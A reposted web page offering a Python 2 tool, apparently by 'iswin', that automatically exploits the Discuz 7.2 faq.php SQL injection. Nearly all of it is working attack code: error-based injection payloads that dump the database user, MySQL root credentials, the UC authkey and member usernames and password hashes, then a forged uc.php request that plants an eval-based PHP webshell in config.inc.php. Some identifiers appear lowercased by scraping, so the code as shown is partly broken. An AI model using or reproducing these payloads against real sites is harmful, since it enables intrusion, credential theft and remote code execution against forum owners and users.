欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  IT编程

Python写的Discuz7.2版faq.php注入漏洞工具

程序员文章站 2023-04-07 20:42:12
discuz 7.2 faq.php全自动利用工具,getshell 以及dump数据,python 版的uc_key getshell部分的代码来自网上(感谢作者) 实...

discuz 7.2 faq.php全自动利用工具,getshell 以及dump数据,python 版的uc_key getshell部分的代码来自网上(感谢作者)

实现代码:

#!/usr/bin/env python
# -*- coding: gbk -*-
# -*- coding: gb2312 -*-
# -*- coding: utf_8 -*- 
# author iswin 
import sys
import hashlib
import time
import math
import base64
import urllib2 
import urllib
import re

def sendrequest(url,para):
	try:
		data = urllib.urlencode(para)
		req=urllib2.request(url,data)
		res=urllib2.urlopen(req,timeout=20).read()
	except exception, e:
		print 'exploit failed!\n%s'%(e)
		exit(0);
	return res

def gettableprefix(url):
	print 'start gettableprefix...'
	para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select hex(table_name) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}
	res=sendrequest(url,para);
	pre=re.findall("duplicate entry '(.*?)'",res);
	if len(pre)==0:
		print 'exploit failed!'
		exit(0);
	table_pre=pre[0][:len(pre[0])-1].decode('hex')
	table_pre=table_pre[0:table_pre.index('_')]
	print 'table_pre:%s'%(table_pre)
	return table_pre

def getcurrentuser(url):
	para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}
	res=sendrequest(url,para)
	pre=re.findall("duplicate entry '(.*?)'",res)
	if len(pre)==0:
		print 'exploit failed!'
		exit(0);
	table_pre=pre[0][:len(pre[0])-1]
	print 'current user:%s'%(table_pre)
	return table_pre

def getuckey(url):
	para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select substr(authkey,1,62) from cdb_uc_applications limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}
	para1={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select substr(authkey,63,2) from cdb_uc_applications limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}
	res=sendrequest(url,para);
	res1=sendrequest(url,para1);
	key1=re.findall("duplicate entry '(.*?)'",res)
	key2=re.findall("duplicate entry '(.*?)'",res1)
	if len(key1)==0:
		print 'get uc_key failed!'
		return ''
	key=key1[0][:len(key1[0])-1]+key2[0][:len(key2[0])-1]
	print 'uc_key:%s'%(key)
	return key

def getrootuser(url):
	para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select concat(user,0x20,password) from mysql.user limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'}
	res=sendrequest(url,para);
	pre=re.findall("duplicate entry '(.*?)'",res)
	if len(pre)==0:
		print 'exploit failed!'
		exit(0);
	table_pre=pre[0][:len(pre[0])-1].split(' ')
	print 'root info:\nuser:%s password:%s'%(table_pre[0],table_pre[1])

def dumpdata(url,table_prefix,count):
	para={'action':'grouppermission','gids[99]':'\'','gids[100][0]':') and (select 1 from (select count(*),concat((select concat(username,0x20,password) from %s_members limit %d,1),floor(rand(0)*2))x from information_schema.tables group by x)a)#'%(table_prefix,count)}
	res=sendrequest(url,para);
	datas=re.findall("duplicate entry '(.*?)'",res)
	if len(datas)==0:
		print 'exploit failed!'
		exit(0)
	cleandata=datas[0][:len(datas[0])-1]
	info=cleandata.split(' ')
	print 'user:%s pass:%s'%(info[0],info[1])

def microtime(get_as_float = false) :
  if get_as_float:
    return time.time()
  else:
    return '%.8f %d' % math.modf(time.time())
 
def get_authcode(string, key = ''):
  ckey_length = 4
  key = hashlib.md5(key).hexdigest()
  keya = hashlib.md5(key[0:16]).hexdigest()
  keyb = hashlib.md5(key[16:32]).hexdigest()
  keyc = (hashlib.md5(microtime()).hexdigest())[-ckey_length:]
  cryptkey = keya + hashlib.md5(keya+keyc).hexdigest() 
  key_length = len(cryptkey)
  string = '0000000000' + (hashlib.md5(string+keyb)).hexdigest()[0:16]+string
  string_length = len(string)
  result = ''
  box = range(0, 256)
  rndkey = dict()
  for i in range(0,256):
    rndkey[i] = ord(cryptkey[i % key_length])
  j=0
  for i in range(0,256):
    j = (j + box[i] + rndkey[i]) % 256
    tmp = box[i]
    box[i] = box[j]
    box[j] = tmp
  a=0
  j=0
  for i in range(0,string_length):
    a = (a + 1) % 256
    j = (j + box[a]) % 256
    tmp = box[a]
    box[a] = box[j]
    box[j] = tmp
    result += chr(ord(string[i]) ^ (box[(box[a] + box[j]) % 256]))
  return keyc + base64.b64encode(result).replace('=', '')
 
def get_shell(url,key,host):
  headers={'accept-language':'zh-cn',
  'content-type':'application/x-www-form-urlencoded',
  'user-agent':'mozilla/4.0 (compatible; msie 6.00; windows nt 5.1; sv1)',
  'referer':url
  }
  tm = time.time()+10*3600
  tm="time=%d&action=updateapps" %tm
  code = urllib.quote(get_authcode(tm,key))
  url=url+"?code="+code
  data1='''<?xml version="1.0" encoding="iso-8859-1"?>
      <root>
      <item id="uc_api">http://xxx\');eval($_post[3]);//</item>
      </root>'''
  try:
    req=urllib2.request(url,data=data1,headers=headers)
    ret=urllib2.urlopen(req)
  except:
    return "exploit falied"
  data2='''<?xml version="1.0" encoding="iso-8859-1"?>
      <root>
      <item id="uc_api">http://aaa</item>
      </root>'''
  try:
    req=urllib2.request(url,data=data2,headers=headers)
    ret=urllib2.urlopen(req)
  except:
    return "error"

  try:
  	req=urllib2.request(host+'/config.inc.php')
  	res=urllib2.urlopen(req,timeout=20).read()
  except exception, e:
  	print 'getwebshell failed,%s'%(e)
   	return
  print "webshell:"+host+"/config.inc.php,password:3"

if __name__ == '__main__':
	print 'dz7.x exp code by iswin'
	if len(sys.argv)<3:
		print 'dz7.x exp code by iswin\nusage:python dz7.py //www.jb51.net 10'
		exit(0)
	url=sys.argv[1]+'/faq.php'
	count=int(sys.argv[2])
	user=getcurrentuser(url)
	if user.startswith('root@'):
		getrootuser(url)
	uc_key=getuckey(url)
	if len(uc_key)==64:
		print 'start getwebshell...'
		get_shell(sys.argv[1]+'/api/uc.php',uc_key,sys.argv[1])
	tb_pre=gettableprefix(url)
	print 'start dumpdata...'
	for x in xrange(0,count):
		dumpdata(url,tb_pre,x)